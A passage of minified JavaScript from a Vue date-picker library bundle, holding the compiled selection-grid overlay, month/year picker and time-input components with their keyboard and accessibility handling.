Date,t))},A=()=>{n(\"toggle\"),n(\"reset-flow\")},D=()=>{l.escClose&&A()},W=(e,t,n,r)=>{e&&(t.value===+l.modelValue&&!l.disabledValues.includes(t.value)&&(p.value=e),l.arrowNavigation&&(Array.isArray(v.value[n])?v.value[n][r]=e:v.value[n]=[e],B()))},B=()=>{var e,t;const n=null!=(e=l.headerRefs)&&e.length?[l.headerRefs].concat(v.value):v.value.concat([l.skipButtonRef?[]:[g.value]]);u(Wo(n),null!=(t=l.headerRefs)&&t.length?\"monthPicker\":\"selectionGrid\")};return t({focusGrid:w}),(t,n)=>{var l;return(0,r.uX)(),(0,r.CE)(\"div\",{ref_key:\"gridWrapRef\",ref:h,class:(0,o.C4)((0,a.R1)(_)),role:\"dialog\",tabindex:\"0\",onKeydown:(0,i.jR)(D,[\"esc\"])},[(0,r.Lk)(\"div\",{class:(0,o.C4)((0,a.R1)(E)),ref_key:\"containerRef\",ref:b,role:\"grid\",style:(0,o.Tr)({height:`${y.value}px`})},[(0,r.Lk)(\"div\",Pi,[(0,r.RG)(t.$slots,\"header\")]),t.$slots.overlay?(0,r.RG)(t.$slots,\"overlay\",{key:0}):((0,r.uX)(!0),(0,r.CE)(r.FK,{key:1},(0,r.pI)((0,a.R1)(x),(n,l)=>((0,r.uX)(),(0,r.CE)(\"div\",{class:\"dp__overlay_row\",key:l,role:\"row\"},[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)(n,(n,s)=>((0,r.uX)(),(0,r.CE)(\"div\",{role:\"gridcell\",class:(0,o.C4)((0,a.R1)(k)),key:n.value,\"aria-selected\":n.value===e.modelValue&&!e.disabledValues.includes(n.value),\"aria-disabled\":n.className.dp__overlay_cell_disabled,ref_for:!0,ref:e=>W(e,n,l,s),tabindex:\"0\",\"data-test\":n.text,onClick:e=>O(n.value),onKeydown:[(0,i.jR)(e=>O(n.value),[\"enter\"]),(0,i.jR)(e=>O(n.value),[\"space\"])],onMouseover:e=>m.value=n.value},[(0,r.Lk)(\"div\",{class:(0,o.C4)(n.className)},[t.$slots.item?(0,r.RG)(t.$slots,\"item\",{key:0,item:n}):(0,r.Q3)(\"\",!0),t.$slots.item?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(n.text),1)],64))],2)],42,Ii))),128))]))),128))],6),t.$slots[\"button-icon\"]?(0,r.bo)(((0,r.uX)(),(0,r.CE)(\"div\",{key:0,role:\"button\",\"aria-label\":null==(l=e.ariaLabels)?void 0:l.toggleOverlay,class:(0,o.C4)((0,a.R1)(S)),tabindex:\"0\",ref_key:\"toggleButton\",ref:g,onClick:A,onKeydown:(0,i.jR)(A,[\"enter\"])},[(0,r.RG)(t.$slots,\"button-icon\")],42,Ni)),[[i.aG,!(0,a.R1)(c)(e.type)]]):(0,r.Q3)(\"\",!0)],42,Bi)}}}),ji=[\"aria-label\"],Fi=(0,r.pM)({__name:\"RegularPicker\",props:{ariaLabel:{type:String,default:\"\"},showSelectionGrid:{type:Boolean,default:!1},modelValue:{type:Number,default:null},items:{type:Array,default:()=>[]},disabledValues:{type:Array,default:()=>[]},minValue:{type:Number,default:null},maxValue:{type:Number,default:null},slotName:{type:String,default:\"\"},overlaySlot:{type:String,default:\"\"},headerRefs:{type:Array,default:()=>[]},escClose:{type:Boolean,default:!0},type:{type:String,default:null},transitions:{type:[Object,Boolean],default:!1},arrowNavigation:{type:Boolean,default:!1},autoApply:{type:Boolean,default:!1},textInput:{type:Boolean,default:!1},ariaLabels:{type:Object,default:()=>({})},hideNavigation:{type:Array,default:()=>[]}},emits:[\"update:model-value\",\"toggle\",\"set-ref\"],setup(e,{emit:t}){const n=e,{transitionName:o,showTransition:l}=ci(n.transitions),s=(0,a.KR)(null);return(0,r.sV)(()=>t(\"set-ref\",s)),(t,n)=>((0,r.uX)(),(0,r.CE)(r.FK,null,[(0,r.Lk)(\"div\",{class:\"dp__month_year_select\",onClick:n[0]||(n[0]=e=>t.$emit(\"toggle\")),onKeydown:[n[1]||(n[1]=(0,i.jR)(e=>t.$emit(\"toggle\"),[\"enter\"])),n[2]||(n[2]=(0,i.jR)(e=>t.$emit(\"toggle\"),[\"space\"]))],role:\"button\",\"aria-label\":e.ariaLabel,tabindex:\"0\",ref_key:\"elRef\",ref:s},[(0,r.RG)(t.$slots,\"default\")],40,ji),(0,r.bF)(i.eB,{name:(0,a.R1)(o)(e.showSelectionGrid),css:(0,a.R1)(l)},{default:(0,r.k6)(()=>[e.showSelectionGrid?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:0},{modelValue:e.modelValue,items:e.items,disabledValues:e.disabledValues,minValue:e.minValue,maxValue:e.maxValue,escClose:e.escClose,type:e.type,arrowNavigation:e.arrowNavigation,textInput:e.textInput,autoApply:e.autoApply,ariaLabels:e.ariaLabels,hideNavigation:e.hideNavigation},{\"header-refs\":[],\"onUpdate:modelValue\":n[3]||(n[3]=e=>t.$emit(\"update:model-value\",e)),onToggle:n[4]||(n[4]=e=>t.$emit(\"toggle\"))}),(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))]),_:2},[t.$slots[e.slotName]?{name:\"item\",fn:(0,r.k6)(({item:n})=>[(0,r.RG)(t.$slots,e.slotName,{item:n})]),key:\"0\"}:void 0,t.$slots[e.overlaySlot]?{name:\"overlay\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,e.overlaySlot)]),key:\"1\"}:void 0,t.$slots[`${e.overlaySlot}-header`]?{name:\"header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,`${e.overlaySlot}-header`)]),key:\"2\"}:void 0]),1040)):(0,r.Q3)(\"\",!0)]),_:3},8,[\"name\",\"css\"])],64))}}),Vi={class:\"dp__month_year_row\"},Ui={class:\"dp__month_year_wrap\"},Xi={class:\"dp__month_picker_header\"},Hi=[\"aria-label\"],Gi=[\"aria-label\"],Yi=[\"aria-label\"],zi=(0,r.pM)({__name:\"MonthYearPicker\",props:{month:{type:Number,default:0},year:{type:Number,default:0},instance:{type:Number,default:0},years:{type:Array,default:()=>[]},months:{type:Array,default:()=>[]},internalModelValue:{type:[Date,Array],default:null},...fi},emits:[\"update-month-year\",\"month-year-select\",\"mount\",\"reset-flow\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{defaults:s}=Uo(l),{transitionName:u,showTransition:d}=ci(s.value.transitions),{buildMatrix:c}=Zo(),{handleMonthYearChange:f,isDisabled:p,updateMonthYear:h}=ai(l,n),v=(0,a.KR)(!1),m=(0,a.KR)(!1),g=(0,a.KR)([null,null,null,null]),y=(0,a.KR)(null),b=(0,a.KR)(null),$=(0,a.KR)(null);(0,r.sV)(()=>{n(\"mount\")});const w=e=>({get:()=>l[e],set:t=>{const r=\"month\"===e?\"year\":\"month\";n(\"update-month-year\",{[e]:t,[r]:l[r]}),n(\"month-year-select\",\"year\"===e),\"month\"===e?j(!0):F(!0)}}),_=(0,r.EW)(w(\"month\")),k=(0,r.EW)(w(\"year\")),C=e=>{const t=Rn(ya(e));return l.year===t},x=(0,r.EW)(()=>l.monthPicker&&Array.isArray(l.disabledDates)?l.disabledDates.map(e=>ya(e)).filter(e=>C(e)).map(e=>En(e)):[]),S=(0,r.EW)(()=>e=>{const t=\"month\"===e;return{showSelectionGrid:(t?v:m).value,items:(t?P:I).value,disabledValues:s.value.filters[t?\"months\":\"years\"].concat(x.value),minValue:(t?O:T).value,maxValue:(t?M:R).value,headerRefs:t&&l.monthPicker?[y.value,b.value,$.value]:[],escClose:l.escClose,transitions:s.value.transitions,ariaLabels:s.value.ariaLabels,textInput:l.textInput,autoApply:l.autoApply,arrowNavigation:l.arrowNavigation,hideNavigation:l.hideNavigation}}),E=(0,r.EW)(()=>e=>({month:l.month,year:l.year,items:\"month\"===e?l.months:l.years,instance:l.instance,updateMonthYear:h,toggle:\"month\"===e?j:F})),T=(0,r.EW)(()=>l.minDate?Rn(ya(l.minDate)):null),R=(0,r.EW)(()=>l.maxDate?Rn(ya(l.maxDate)):null),O=(0,r.EW)(()=>{if(l.minDate&&T.value){if(T.value>l.year)return 12;if(T.value===l.year)return En(ya(l.minDate))}return null}),M=(0,r.EW)(()=>l.maxDate&&R.value?R.value\u003Cl.year?-1:R.value===l.year?En(ya(l.maxDate)):null:null),A=(0,r.EW)(()=>l.range&&l.internalModelValue&&(l.monthPicker||l.yearPicker)?l.internalModelValue:[]),D=e=>e.reverse(),W=(e,t=!1)=>{const n=[],r=e=>t?D(e):e;for(let a=0;a\u003Ce.length;a+=3){const t=[e[a],e[a+1],e[a+2]];n.push(r(t))}return t?n.reverse():n},B=(0,r.EW)(()=>{const e=l.months.find(e=>e.value===l.month);return e||{text:\"\",value:0}}),P=(0,r.EW)(()=>W(l.months)),I=(0,r.EW)(()=>W(l.years,l.reverseYears)),N=(0,r.EW)(()=>!s.value.multiCalendars||(!!l.multiCalendarsSolo||0===l.instance)),L=(0,r.EW)(()=>!s.value.multiCalendars||(!!l.multiCalendarsSolo||l.instance===s.value.multiCalendars-1)),j=(e=!1)=>{V(e),v.value=!v.value,v.value||n(\"overlay-closed\")},F=(e=!1)=>{V(e),m.value=!m.value,m.value||n(\"overlay-closed\")},V=e=>{e||n(\"reset-flow\")},U=(e=!1)=>{p.value(e)||n(\"update-month-year\",{year:e?l.year+1:l.year-1,month:l.month,fromNav:!0})},X=(e,t)=>{l.arrowNavigation&&(g.value[t]=Oo(e),c(g.value,\"monthYear\"))};return t({toggleMonthPicker:j,toggleYearPicker:F}),(t,n)=>{var l,c,v,g,w;return(0,r.uX)(),(0,r.CE)(\"div\",Vi,[t.$slots[\"month-year\"]?(0,r.RG)(t.$slots,\"month-year\",(0,o._B)((0,r.v6)({key:0},{month:e.month,year:e.year,months:e.months,years:e.years,updateMonthYear:(0,a.R1)(h),handleMonthYearChange:(0,a.R1)(f),instance:e.instance}))):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[t.monthPicker||t.yearPicker?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,a.R1)(N)&&!t.vertical?((0,r.uX)(),(0,r.Wv)(Wi,{key:0,\"aria-label\":null==(l=(0,a.R1)(s).ariaLabels)?void 0:l.prevMonth,disabled:(0,a.R1)(p)(!1),onActivate:n[0]||(n[0]=e=>(0,a.R1)(f)(!1)),onSetRef:n[1]||(n[1]=e=>X(e,0))},{default:(0,r.k6)(()=>[t.$slots[\"arrow-left\"]?(0,r.RG)(t.$slots,\"arrow-left\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-left\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Xr),{key:1}))]),_:3},8,[\"aria-label\",\"disabled\"])):(0,r.Q3)(\"\",!0),(0,r.Lk)(\"div\",Ui,[(0,r.bF)(Fi,(0,r.v6)({type:\"month\",\"slot-name\":\"month-overlay-val\",\"overlay-slot\":\"overlay-month\",\"aria-label\":null==(c=(0,a.R1)(s).ariaLabels)?void 0:c.openMonthsOverlay,modelValue:(0,a.R1)(_),\"onUpdate:modelValue\":n[2]||(n[2]=e=>(0,a.i9)(_)?_.value=e:null)},(0,a.R1)(S)(\"month\"),{onToggle:j,onSetRef:n[3]||(n[3]=e=>X(e,1))}),(0,r.eX)({default:(0,r.k6)(()=>[t.$slots.month?(0,r.RG)(t.$slots,\"month\",(0,o._B)((0,r.v6)({key:0},(0,a.R1)(B)))):(0,r.Q3)(\"\",!0),t.$slots.month?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)((0,a.R1)(B).text),1)],64))]),_:2},[t.$slots[\"calendar-icon\"]?{name:\"calendar-icon\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"calendar-icon\")]),key:\"0\"}:void 0,t.$slots[\"month-overlay-value\"]?{name:\"month-overlay-val\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"month-overlay-value\",{text:e.text,value:e.value})]),key:\"1\"}:void 0,t.$slots[\"month-overlay\"]?{name:\"overlay-month\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"month-overlay\",(0,o._B)((0,r.Ng)((0,a.R1)(E)(\"month\"))))]),key:\"2\"}:void 0,t.$slots[\"month-overlay-header\"]?{name:\"overlay-month-header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"month-overlay-header\",{toggle:j})]),key:\"3\"}:void 0]),1040,[\"aria-label\",\"modelValue\"]),(0,r.bF)(Fi,(0,r.v6)({type:\"year\",\"slot-name\":\"year-overlay-val\",\"overlay-slot\":\"overlay-year\",\"aria-label\":null==(v=(0,a.R1)(s).ariaLabels)?void 0:v.openYearsOverlay,modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[4]||(n[4]=e=>(0,a.i9)(k)?k.value=e:null)},(0,a.R1)(S)(\"year\"),{onToggle:F,onSetRef:n[5]||(n[5]=e=>X(e,2))}),(0,r.eX)({default:(0,r.k6)(()=>[t.$slots.year?(0,r.RG)(t.$slots,\"year\",{key:0,year:e.year}):(0,r.Q3)(\"\",!0),t.$slots.year?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.year),1)],64))]),_:2},[t.$slots[\"calendar-icon\"]?{name:\"calendar-icon\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"calendar-icon\")]),key:\"0\"}:void 0,t.$slots[\"year-overlay-value\"]?{name:\"year-overlay-val\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"1\"}:void 0,t.$slots[\"year-overlay\"]?{name:\"overlay-year\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"year-overlay\",(0,o._B)((0,r.Ng)((0,a.R1)(E)(\"year\"))))]),key:\"2\"}:void 0,t.$slots[\"year-overlay-header\"]?{name:\"overlay-year-header\",fn:(0,r.k6)(()=>[(0,r.RG)(t.$slots,\"year-overlay-header\",{toggle:F})]),key:\"3\"}:void 0]),1040,[\"aria-label\",\"modelValue\"])]),(0,a.R1)(N)&&t.vertical?((0,r.uX)(),(0,r.Wv)(Wi,{key:1,\"aria-label\":null==(g=(0,a.R1)(s).ariaLabels)?void 0:g.prevMonth,disabled:(0,a.R1)(p)(!1),onActivate:n[6]||(n[6]=e=>(0,a.R1)(f)(!1))},{default:(0,r.k6)(()=>[t.$slots[\"arrow-up\"]?(0,r.RG)(t.$slots,\"arrow-up\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-up\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ua),{key:1}))]),_:3},8,[\"aria-label\",\"disabled\"])):(0,r.Q3)(\"\",!0),(0,a.R1)(L)?((0,r.uX)(),(0,r.Wv)(Wi,{key:2,ref:\"rightIcon\",disabled:(0,a.R1)(p)(!0),\"aria-label\":null==(w=(0,a.R1)(s).ariaLabels)?void 0:w.nextMonth,onActivate:n[7]||(n[7]=e=>(0,a.R1)(f)(!0)),onSetRef:n[8]||(n[8]=e=>X(e,3))},{default:(0,r.k6)(()=>[t.$slots[t.vertical?\"arrow-down\":\"arrow-right\"]?(0,r.RG)(t.$slots,t.vertical?\"arrow-down\":\"arrow-right\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[t.vertical?\"arrow-down\":\"arrow-right\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,r.$y)(t.vertical?(0,a.R1)(va):(0,a.R1)(qr)),{key:1}))]),_:3},8,[\"disabled\",\"aria-label\"])):(0,r.Q3)(\"\",!0)],64)),t.monthPicker?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:1},(0,a.R1)(S)(\"month\"),{\"skip-active\":t.range,year:e.year,\"multi-model-value\":(0,a.R1)(A),\"month-picker\":\"\",modelValue:(0,a.R1)(_),\"onUpdate:modelValue\":n[17]||(n[17]=e=>(0,a.i9)(_)?_.value=e:null),onToggle:j,onSelected:n[18]||(n[18]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({header:(0,r.k6)(()=>{var l,c,f;return[(0,r.Lk)(\"div\",Xi,[(0,r.Lk)(\"div\",{class:\"dp__month_year_col_nav\",tabindex:\"0\",ref_key:\"mpPrevIconRef\",ref:y,onClick:n[9]||(n[9]=e=>U(!1)),onKeydown:n[10]||(n[10]=(0,i.jR)(e=>U(!1),[\"enter\"]))},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:(0,a.R1)(p)(!1)}]),role:\"button\",\"aria-label\":null==(l=(0,a.R1)(s).ariaLabels)?void 0:l.prevMonth},[t.$slots[\"arrow-left\"]?(0,r.RG)(t.$slots,\"arrow-left\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-left\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Xr),{key:1}))],10,Hi)],544),(0,r.Lk)(\"div\",{class:\"dp__pointer\",role:\"button\",ref_key:\"mpYearButtonRef\",ref:b,\"aria-label\":null==(c=(0,a.R1)(s).ariaLabels)?void 0:c.openYearsOverlay,tabindex:\"0\",onClick:n[11]||(n[11]=()=>F(!1)),onKeydown:n[12]||(n[12]=(0,i.jR)(()=>F(!1),[\"enter\"]))},[t.$slots.year?(0,r.RG)(t.$slots,\"year\",{key:0,year:e.year}):(0,r.Q3)(\"\",!0),t.$slots.year?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)(e.year),1)],64))],40,Gi),(0,r.Lk)(\"div\",{class:\"dp__month_year_col_nav\",tabindex:\"0\",ref_key:\"mpNextIconRef\",ref:$,onClick:n[13]||(n[13]=e=>U(!0)),onKeydown:n[14]||(n[14]=(0,i.jR)(e=>U(!0),[\"enter\"]))},[(0,r.Lk)(\"div\",{class:(0,o.C4)([\"dp__inner_nav\",{dp__inner_nav_disabled:(0,a.R1)(p)(!0)}]),role:\"button\",\"aria-label\":null==(f=(0,a.R1)(s).ariaLabels)?void 0:f.nextMonth},[t.$slots[\"arrow-right\"]?(0,r.RG)(t.$slots,\"arrow-right\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"arrow-right\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(qr),{key:1}))],10,Yi)],544)]),(0,r.bF)(i.eB,{name:(0,a.R1)(u)(m.value),css:(0,a.R1)(d)},{default:(0,r.k6)(()=>[m.value?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:0},(0,a.R1)(S)(\"year\"),{modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[15]||(n[15]=e=>(0,a.i9)(k)?k.value=e:null),onToggle:F,onSelected:n[16]||(n[16]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[t.$slots[\"calendar-icon\"]?(0,r.RG)(t.$slots,\"calendar-icon\",{key:0}):(0,r.Q3)(\"\",!0),t.$slots[\"calendar-icon\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(Mr),{key:1}))]),_:2},[t.$slots[\"year-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 0]),1040,[\"modelValue\"])):(0,r.Q3)(\"\",!0)]),_:3},8,[\"name\",\"css\"])]}),_:2},[t.$slots[\"month-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"month-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 0]),1040,[\"skip-active\",\"year\",\"multi-model-value\",\"modelValue\"])):(0,r.Q3)(\"\",!0),t.yearPicker?((0,r.uX)(),(0,r.Wv)(Li,(0,r.v6)({key:2},(0,a.R1)(S)(\"year\"),{modelValue:(0,a.R1)(k),\"onUpdate:modelValue\":n[19]||(n[19]=e=>(0,a.i9)(k)?k.value=e:null),\"multi-model-value\":(0,a.R1)(A),\"skip-active\":t.range,\"skip-button-ref\":\"\",\"year-picker\":\"\",onToggle:F,onSelected:n[20]||(n[20]=e=>t.$emit(\"overlay-closed\"))}),(0,r.eX)({_:2},[t.$slots[\"year-overlay-value\"]?{name:\"item\",fn:(0,r.k6)(({item:e})=>[(0,r.RG)(t.$slots,\"year-overlay-value\",{text:e.text,value:e.value})]),key:\"0\"}:void 0]),1040,[\"modelValue\",\"multi-model-value\",\"skip-active\"])):(0,r.Q3)(\"\",!0)],64))])}}}),Ki={key:0,class:\"dp__time_input\"},qi=[\"aria-label\",\"onKeydown\",\"onClick\"],Qi=[\"aria-label\",\"data-test\",\"onKeydown\",\"onClick\"],Zi=[\"aria-label\",\"onKeydown\",\"onClick\"],Ji={key:0},el=[\"aria-label\",\"onKeydown\"],tl=(0,r.pM)({__name:\"TimeInput\",props:{hours:{type:Number,default:0},minutes:{type:Number,default:0},seconds:{type:Number,default:0},closeTimePickerBtn:{type:Object,default:null},order:{type:Number,default:0},...fi},emits:[\"set-hours\",\"set-minutes\",\"update:hours\",\"update:minutes\",\"update:seconds\",\"reset-flow\",\"mounted\",\"overlay-closed\"],setup(e,{expose:t,emit:n}){const l=e,{setTimePickerElements:s,setTimePickerBackRef:u}=Zo(),{defaults:d}=Uo(l),{transitionName:c,showTransition:f}=ci(d.value.transitions),p=(0,a.Kh)({hours:!1,minutes:!1,seconds:!1}),h=(0,a.KR)(\"AM\"),v=(0,a.KR)(null),m=(0,a.KR)([]);(0,r.sV)(()=>{n(\"mounted\")});const g=(0,r.EW)(()=>e=>!!(l.maxTime&&l.maxTime[e]&&l.maxTime[e]\u003Cl[e]+ +l[`${e}Increment`])),y=(0,r.EW)(()=>e=>!!(l.minTime&&l.minTime[e]&&l.minTime[e]>l[e]-+l[`${e}Increment`])),b=(e,t)=>lr(ar(ya(),e),t),$=(e,t)=>wr(ar(ya(),e),t),w=(0,r.EW)(()=>({dp__time_col:!0,dp__time_col_reg:!l.enableSeconds&&l.is24,dp__time_col_reg_with_button:!l.enableSeconds&&!l.is24,dp__time_col_sec:l.enableSeconds&&l.is24,dp__time_col_sec_with_button:l.enableSeconds&&!l.is24})),_=(0,r.EW)(()=>{const e=[{type:\"hours\"},{type:\"\",separator:!0},{type:\"minutes\"}];return l.enableSeconds?e.concat([{type:\"\",separator:!0},{type:\"seconds\"}]):e}),k=(0,r.EW)(()=>_.value.filter(e=>!e.separator)),C=(0,r.EW)(()=>e=>{if(\"hours\"===e){const e=A(l.hours);return{text:e\u003C10?`0${e}`:`${e}`,value:e}}return{text:l[e]\u003C10?`0${l[e]}`:`${l[e]}`,value:l[e]}}),x=e=>{const t=l.is24?24:12,n=\"hours\"===e?t:60,r=+l[`${e}GridIncrement`],a=\"hours\"!==e||l.is24?0:r,o=[];for(let i=a;i\u003Cn;i+=r)o.push({value:i,text:i\u003C10?`0${i}`:`${i}`});return\"hours\"===e&&!l.is24&&o.push({value:0,text:\"12\"}),xo(o)},S=(e,t)=>{const n=l.minTime&&l.minTime[t],r=l.maxTime&&l.maxTime[t];return n&&r?e\u003Cn||e>r:n?e\u003Cn:!!r&&e>r},E=(0,r.EW)(()=>e=>x(e).flat().map(e=>e.value).filter(t=>S(t,e))),T=e=>l[`no${e[0].toUpperCase()+e.slice(1)}Overlay`],R=e=>{T(e)||(p[e]=!p[e],p[e]||n(\"overlay-closed\"))},O=e=>\"hours\"===e?On:\"minutes\"===e?Mn:An,M=(e,t=!0)=>{const r=t?b:$;(t?g.value(e):y.value(e))||n(`update:${e}`,O(e)(r({[e]:+l[e]},{[e]:+l[`${e}Increment`]})))},A=e=>l.is24?e:(h.value=e>=12?\"PM\":\"AM\",Ro(e)),D=()=>{\"PM\"===h.value?(h.value=\"AM\",n(\"update:hours\",l.hours-12)):(h.value=\"PM\",n(\"update:hours\",l.hours+12))},W=e=>{p[e]=!0},B=(e,t,n)=>{if(e&&l.arrowNavigation){Array.isArray(m.value[t])?m.value[t][n]=e:m.value[t]=[e];const r=m.value.reduce((e,t)=>t.map((n,r)=>[...e[r]||[],t[r]]),[]);u(l.closeTimePickerBtn),v.value&&(r[1]=r[1].concat(v.value)),s(r,l.order)}},P=(e,t)=>\"hours\"!==e||l.is24?n(`update:${e}`,t):n(`update:${e}`,\"PM\"===h.value?t+12:t);return t({openChildCmp:W}),(e,t)=>{var n;return e.disabled?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",Ki,[((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(_),(t,n)=>{var l,s,u;return(0,r.uX)(),(0,r.CE)(\"div\",{key:n,class:(0,o.C4)((0,a.R1)(w))},[t.separator?((0,r.uX)(),(0,r.CE)(r.FK,{key:0},[(0,r.eW)(\" : \")],64)):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__inc_dec_button:!0,dp__inc_dec_button_disabled:(0,a.R1)(g)(t.type)}),role:\"button\",\"data-test\":\"time-inc-btn\",\"aria-label\":null==(l=(0,a.R1)(d).ariaLabels)?void 0:l.incrementValue(t.type),tabindex:\"0\",onKeydown:[(0,i.jR)(e=>M(t.type),[\"enter\"]),(0,i.jR)(e=>M(t.type),[\"space\"])],onClick:e=>M(t.type),ref_for:!0,ref:e=>B(e,n,0)},[e.$slots[\"arrow-up\"]?(0,r.RG)(e.$slots,\"arrow-up\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"arrow-up\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(ua),{key:1}))],42,qi),(0,r.Lk)(\"div\",{role:\"button\",\"aria-label\":null==(s=(0,a.R1)(d).ariaLabels)?void 0:s.openTpOverlay(t.type),class:(0,o.C4)(T(t.type)?\"\":\"dp__time_display\"),tabindex:\"0\",\"data-test\":`${t.type}-toggle-overlay-btn`,onKeydown:[(0,i.jR)(e=>R(t.type),[\"enter\"]),(0,i.jR)(e=>R(t.type),[\"space\"])],onClick:e=>R(t.type),ref_for:!0,ref:e=>B(e,n,1)},[e.$slots[t.type]?(0,r.RG)(e.$slots,t.type,{key:0,text:(0,a.R1)(C)(t.type).text,value:(0,a.R1)(C)(t.type).value}):(0,r.Q3)(\"\",!0),e.$slots[t.type]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(r.FK,{key:1},[(0,r.eW)((0,o.v_)((0,a.R1)(C)(t.type).text),1)],64))],42,Qi),(0,r.Lk)(\"div\",{class:(0,o.C4)({dp__inc_dec_button:!0,dp__inc_dec_button_disabled:(0,a.R1)(y)(t.type)}),role:\"button\",\"data-test\":\"time-dec-btn\",\"aria-label\":null==(u=(0,a.R1)(d).ariaLabels)?void 0:u.decrementValue(t.type),tabindex:\"0\",onKeydown:[(0,i.jR)(e=>M(t.type,!1),[\"enter\"]),(0,i.jR)(e=>M(t.type,!1),[\"space\"])],onClick:e=>M(t.type,!1),ref_for:!0,ref:e=>B(e,n,2)},[e.$slots[\"arrow-down\"]?(0,r.RG)(e.$slots,\"arrow-down\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"arrow-down\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.Wv)((0,a.R1)(va),{key:1}))],42,Zi)],64))],2)}),128)),e.is24?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"div\",Ji,[e.$slots[\"am-pm-button\"]?(0,r.RG)(e.$slots,\"am-pm-button\",{key:0,toggle:D,value:h.value}):(0,r.Q3)(\"\",!0),e.$slots[\"am-pm-button\"]?(0,r.Q3)(\"\",!0):((0,r.uX)(),(0,r.CE)(\"button\",{key:1,ref_key:\"amPmButton\",ref:v,type:\"button\",class:\"dp__pm_am_button\",role:\"button\",\"aria-label\":null==(n=(0,a.R1)(d).ariaLabels)?void 0:n.amPmButton,tabindex:\"0\",onClick:D,onKeydown:[(0,i.jR)((0,i.D$)(D,[\"prevent\"]),[\"enter\"]),(0,i.jR)((0,i.D$)(D,[\"prevent\"]),[\"space\"])]},(0,o.v_)(h.value),41,el))])),((0,r.uX)(!0),(0,r.CE)(r.FK,null,(0,r.pI)((0,a.R1)(k),(n,o)=>((0,r.uX)(),(0,r.Wv)(i.eB,{key:o,name:(0,a.R1)(c)(p[n.type]),css:(0,a.R1)(f)},{default:(0,r.k6)(()=>[p[n.type]?((0,r.uX)(),(0,r.Wv)(Li,{key:0,items:x(n.type),\"disabled-values\":(0,a.R1)(d).filters.times[n.type].concat((0,a.R1)(E)(n.type)),\"esc-close\":e.escClose,\"aria-labels\":(0,a.R1)(d).ariaLabels,\"hide-navigation\":e.hideNavigation,\"onUpdate:modelValue\":e=>P(n.type,e),onSelected:e=>R(n.type),onToggle:e=>R(n.type),onResetFlow:t[0]||(t[0]=t=>e.$emit(\"reset-flow\")),type:n.type},(0,r.eX)({\"button-icon\":(0,r.k6)(()=>[e.$slots[\"clock-icon\"]?(0,r.RG)(e.$slots,\"clock-icon\",{key:0}):(0,r.Q3)(\"\",!0),e.$slots[\"clock-icon\"]?(0,r.Q3)